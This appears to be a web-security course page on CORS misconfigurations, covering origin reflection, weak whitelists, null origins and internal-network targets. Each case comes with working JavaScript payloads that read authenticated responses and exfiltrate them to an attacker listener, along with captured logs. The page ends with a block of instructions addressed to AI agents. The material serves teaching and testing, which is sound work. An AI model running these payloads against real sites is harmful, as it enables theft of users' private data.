# CORS Misconfigurations

Now that we have discussed the Same-Origin policy and CORS in detail, we will explore common CORS misconfigurations that can lead to vulnerabilities in web applications and how to identify them.

Before jumping into CORS misconfigurations, let us first discuss what kind of attack vectors CORS misconfigurations can result in. Most attacks require that the `Access-Control-Allow-Credentials` header is set to `true`, thus resulting in authenticated requests in the victim's context. If a CORS misconfiguration results in an attacker-controlled domain being granted an exception of the Same-Origin policy, the resulting vulnerability is similar to CSRF vulnerabilities but more severe. The exception of the Same-Origin policy allows the attacker-controlled domain to access the response of the cross-origin request. Since the request is made from an authenticated context, the response contains potentially sensitive information that the attacker can access and exfiltrate. Furthermore, depending on the specific CORS configuration, the attacker can potentially interact with the web application to impersonate the victim and execute actions on their behalf.

If the `Access-Control-Allow-Credentials` header is not set, attackers can no longer carry out these attacks. However, a CORS misconfiguration in an internal web application can enable an attacker to exfiltrate information that is not publicly accessible.

Note: Successful exploitation of some of the following CORS misconfigurations may require the cookie attribute `SameSite=None` on the session cookie in a real-world web application.

### Arbitrary Origin Reflection

**Background**

The `Access-Control-Allow-Origin` header contains the origin, which is allowed to bypass the Same-Origin policy, and thus, the browser allows the origin to access the response. Additionally, the header can be set to a wildcard (`*`), which results in all origins being granted a Same-Origin policy bypass. However, for security reasons, this cannot be combined with the `Access-Control-Allow-Credentials: true` header, i.e., the wildcard can only be used without credentials.

Note: A combination of origin and wildcard, such as `https://*.cors-misconfigs.htb`, is invalid.

However, some web applications need to allow credentials for multiple origins. For instance, think of a scenario where a web application running at `https://cors-misconfigs.htb` requires authentication and is used by multiple domains such as `https://site1.cors-misconfigs.htb` and `https://site2.cors-misconfigs.htb`. To implement this, a web application might read the request's `Origin` header and reflect it in the `Access-Control-Allow-Origin` header in the response. This effectively results in the same scenario as a wildcard origin combined with the `Access-Control-Allow-Credentials: true` header but is not explicitly blocked by the CORS standard.

To identify a CORS misconfiguration that reflects arbitrary origins, we need to look for instances where the web application sets the `Access-Control-Allow-Origin` header to the value received in the `Origin` header. We can then send the corresponding request to Burp Repeater and change the Origin header to a bogus value such as `thisdoesnotexist.whatever.htb` and check if this domain is contained in the `Access-Control-Allow-Origin` response header. If it is, the web application suffers from this CORS misconfiguration.

**Exploitation**

To exploit this, an attacker can host a payload similar to the following on their web server with an arbitrary origin, for instance, at `https://exploitserver.htb/exploit`:

Code: html

```html
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      location = 'https://10.10.14.144:4443/log?data=' + btoa(xhr.response);
    };
    xhr.send();
</script>
```

Suppose a victim navigates to the payload at `https://exploitserver.htb/exploit` while the browser stores valid credentials to the misconfigured web application at `https://cors-misconfigs.htb`. In that case, the data is accessed from the victim's valid session and exfiltrated to the attacker because of the insecure CORS configuration.

After accessing the site hosting the payload, the victim's browser sends the cross-origin request to `https://cors-misconfigs.htb/data.php` with credentials, i.e., session cookies:

![image](https://academy.hackthebox.com/storage/modules/235/update/cors_1_updated.png)

Since the response reflects the origin in the CORS header and allows credentials, the attacker's origin `https://exploitserver.htb` is granted an exception of the Same-Origin policy. Therefore, the payload code is allowed to access the response and exfiltrates it by sending it to the attacker HTTPS exfiltration server:

```shell-session
@htb[/htb]$ python3 server.py 

10.10.14.144 - - [31/Dec/2024 18:35:43] code 404, message File not found
10.10.14.144 - - [31/Dec/2024 18:35:43] "GET /log?data=CjxodG1sPgo8aGVhZD5IZWxsbyBXb3JsZCE8L2hlYWQ+Cjxib2R5PjxkaXYgaWQ9InNlY3JldCI+VGhpcyBpcyBhIHNlY3JldCBtZXNzYWdlLjwvZGl2PjwvYm9keT4KPC9odG1sPgo= HTTP/1.1" 404 -
```

After base64-decoding the exfiltrated data, we obtain the HTML page:

```shell-session
@htb[/htb]$ echo -n CjxodG1sPgo8aGVhZD5IZWxsbyBXb3JsZCE8L2hlYWQ+Cjxib2R5PjxkaXYgaWQ9InNlY3JldCI+VGhpcyBpcyBhIHNlY3JldCBtZXNzYWdlLjwvZGl2PjwvYm9keT4KPC9odG1sPgo= | base64 -d

<html>
<head>Hello World!</head>
<body><div id="secret">This is a secret message.</div></body>
</html>
```

Thus, this CORS misconfiguration allows an attacker that does not have valid credentials to read data from the API, even though it is protected by authentication.

### Improper Origin Whitelist

**Background**

Instead of reflecting arbitrary origins, a web application must check an origin against a whitelist of trusted origins before reflecting it. If this check is conducted improperly, an attacker might be able to bypass it and achieve a Same-Origin exception for an untrusted origin. In particular, implementations checking the prefix or suffix of an origin may be vulnerable.

A common goal of a web application is to trust all subdomains of a particular origin. For instance, let us assume an API hosted at `https://cors-misconfigs.htb` validates incoming origin headers by checking whether it ends with the string `cors-misconfigs.htb` to verify that only sibling subdomains are granted a Same-Origin policy exception. While the API implements a check for the origin before trusting it, the check is improperly implemented as it does not only cover subdomains of `cors-misconfigs.htb` but all domains ending in `cors-misconfigs.htb`.

**Exploitation**

Exploiting this CORS misconfiguration is identical to exploiting arbitrary origin reflection, as an attacker can use the same payload to exfiltrate the data. However, since the origin is checked, there are limitations on the origin the attacker can host the payload on. Due to the postfix match, an attacker is unable to use the origin `https://exploitserver.htb` for the exploitation but can choose any origin that ends in `cors-misconfigs.htb`, for instance, `https://attackercors-misconfigs.htb` to host the payload.

### Trusted null origin

**Background**

The `Access-Control-Allow-Origin` header does not only support a trusted origin and a wildcard but also the value `null`, which indicates the `null origin`. While this should not be used in practice, some web applications might implement it due to a misconception of the meaning. An attacker can employ various methods to force a null origin on a cross-origin request, which is subsequently trusted, resulting in a Same-Origin policy exception.

We must identify instances where the `null` origin is explicitly trusted to identify this misconfiguration. To achieve this, we can look for the value `null` in the `Access-Control-Allow-Origin` CORS header.

**Exploitation**

An attacker must supply a `null` origin in the cross-origin request to exploit this misconfiguration. Any origin can achieve this by using a sandboxed iframe:

Code: html

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      location = 'https://10.10.14.144:4443/log?data=' + btoa(xhr.response);
    };
    xhr.send();
</script>"></iframe>
```

Using this payload, the exploit is the same as in the previous misconfigurations. However, the sandboxed iframe results in a `null` origin in the cross-origin request:

![image](https://academy.hackthebox.com/storage/modules/235/update/cors_3_updated.png)

### Targeting the local network

**Background**

Even if the web application does not configure CORS to allow credentials, an attacker might still be able to target web applications running in a local network behind a firewall, reverse proxy, or NAT that are not publicly accessible. Data exfiltration may be possible if these internal web applications do not require authentication and contain a CORS misconfiguration that trusts the attacker's origin.

If no authentication is required, the `Access-Control-Allow-Credentials` CORS header is not required either. Thus, in addition to the CORS misconfigurations discussed so far, a wildcard origin also results in an exploitable misconfiguration in these cases. For instance, let us assume an internal API not requiring authentication is hosted at `https://172.16.0.2`. Additionally, the API sets a wildcard in the `Access-Control-Allow-Origin` and thus trusts all origins.

**Exploitation**

The only protection the API has is that it is only accessible from within the internal network; however, the wildcard origin grants any attacker-controlled origin to exfiltrate data from it if a victim can access it. As no authentication is required, we do not need to set the `withCredentials` option in the payload:

Code: html

```html
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://172.16.0.2/data.php', true);
    xhr.onload = () => {
      location = 'https://10.10.14.144:4443/log?data=' + btoa(xhr.response);
    };
    xhr.send();
</script>
```

Suppose the victim opening the payload is in the same internal network as the internal API and can thus access it. In that case, the victim's browser makes the cross-origin request within the internal network:

![image](https://academy.hackthebox.com/storage/modules/235/update/cors_4_updated.png)

The response is then exfiltrated to the attacker, enabling the exfiltration of data from web applications that cannot be accessed publicly.

Moreover, the attacker does not need to know the IP address and port the misconfigured application is running on but can improve the payload to scan the internal network by attempting to request different IP addresses and port combinations until the application is found.

We can improve our payload and fine-tune it according to the specific web application we are targeting. For instance, it is generally not good practice to transmit the entire page in a GET parameter since the URL length is not unlimited. Thus, the payload might fail if the page is too large. Instead, it is better to use a POST parameter. Alternatively, we can split the data and send it over multiple requests or parse the response and exfiltrate only the interesting elements to ensure the URL is not too long. We can achieve this by searching for elements using functions like `getElementById`. For instance, let us only exfiltrate the contents of the `<div>` tag with the id `secret`:

Code: html

```html
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      // parse the response
	  var doc = new DOMParser().parseFromString(xhr.response, 'text/html');

	  // exfiltrate only the interesting element
	  var msg = encodeURIComponent(doc.getElementById('secret').innerHTML);
      location = 'https://10.10.14.144:4443/log?data=' + btoa(msg);
    };
    xhr.send();
</script>
```

After viewing the payload and triggering it, we can confirm that it only exfiltrates the specified HTML tags:

```shell-session
@htb[/htb]$ python3 server.py 

10.10.14.144 - - [31/Dec/2024 18:39:46] code 404, message File not found
10.10.14.144 - - [31/Dec/2024 18:39:46] "GET /log?data=VGhpcyUyMGlzJTIwYSUyMHNlY3JldCUyMG1lc3NhZ2Uu HTTP/1.1" 404 -
```

Note: In the lab, your web browser's settings regarding third-party cookies might prevent your exploit code from working correctly. However, these issues will not occur when delivering the exploit to the victim. Make sure to keep an eye out for errors concerning third-party cookies in the JavaScript console and adjust the browser settings accordingly.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ajin-1.gitbook.io/documentation/web/cwee/xss-and-csrf/cours/csrf-exploitation/cors-misconfigurations.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
